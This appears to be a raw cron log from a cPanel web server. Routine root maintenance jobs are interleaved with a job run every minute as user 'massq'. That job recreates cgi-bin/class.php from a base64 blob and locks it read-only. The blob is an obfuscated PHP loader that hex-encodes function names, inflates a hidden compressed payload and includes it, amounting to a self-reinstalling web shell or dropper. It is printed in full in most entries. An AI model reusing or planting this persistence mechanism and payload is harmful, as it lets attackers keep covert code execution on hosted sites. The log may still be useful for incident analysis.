Sep  8 03:40:01 server CROND[6987]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 03:40:01 server CROND[6992]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 03:41:01 server CROND[7894]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:41:01 server CROND[7896]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 03:41:01 server CROND[7895]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:42:01 server CROND[8274]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 03:42:01 server CROND[8275]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 03:42:01 server CROND[8276]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:42:01 server CROND[8284]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:43:01 server CROND[8645]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:43:01 server CROND[8647]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 03:43:01 server CROND[8648]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:44:01 server CROND[9007]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 03:44:01 server CROND[9008]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:44:01 server CROND[9009]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:45:01 server CROND[9379]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 03:45:01 server CROND[9393]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 03:45:01 server CROND[9396]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 03:45:01 server CROND[9397]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 03:45:01 server CROND[9394]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:45:01 server CROND[9395]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:45:01 server CROND[9399]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 03:46:01 server CROND[10363]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:46:01 server CROND[10362]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:46:01 server CROND[10364]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 03:47:01 server CROND[10737]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:47:01 server CROND[10739]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 03:47:01 server CROND[10740]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:48:01 server CROND[11117]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:48:01 server CROND[11118]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 03:48:01 server CROND[11119]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:49:01 server anacron[20056]: Job `cron.daily' started
Sep  8 03:49:01 server run-parts(/etc/cron.daily)[11471]: starting imunify-antivirus.cron
Sep  8 03:49:01 server CROND[11497]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 03:49:01 server CROND[11498]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:49:01 server CROND[11499]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:50:01 server CROND[11874]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 03:50:01 server CROND[11875]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 03:50:01 server CROND[11879]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:50:01 server CROND[11883]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 03:50:01 server CROND[11886]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 03:50:01 server CROND[11881]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 03:50:01 server CROND[11882]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 03:50:01 server CROND[11884]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:50:01 server CROND[11885]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 03:51:01 server CROND[12750]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:51:01 server CROND[12751]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:51:01 server CROND[12752]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 03:52:01 server CROND[13113]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:52:01 server CROND[13114]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:52:01 server CROND[13116]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
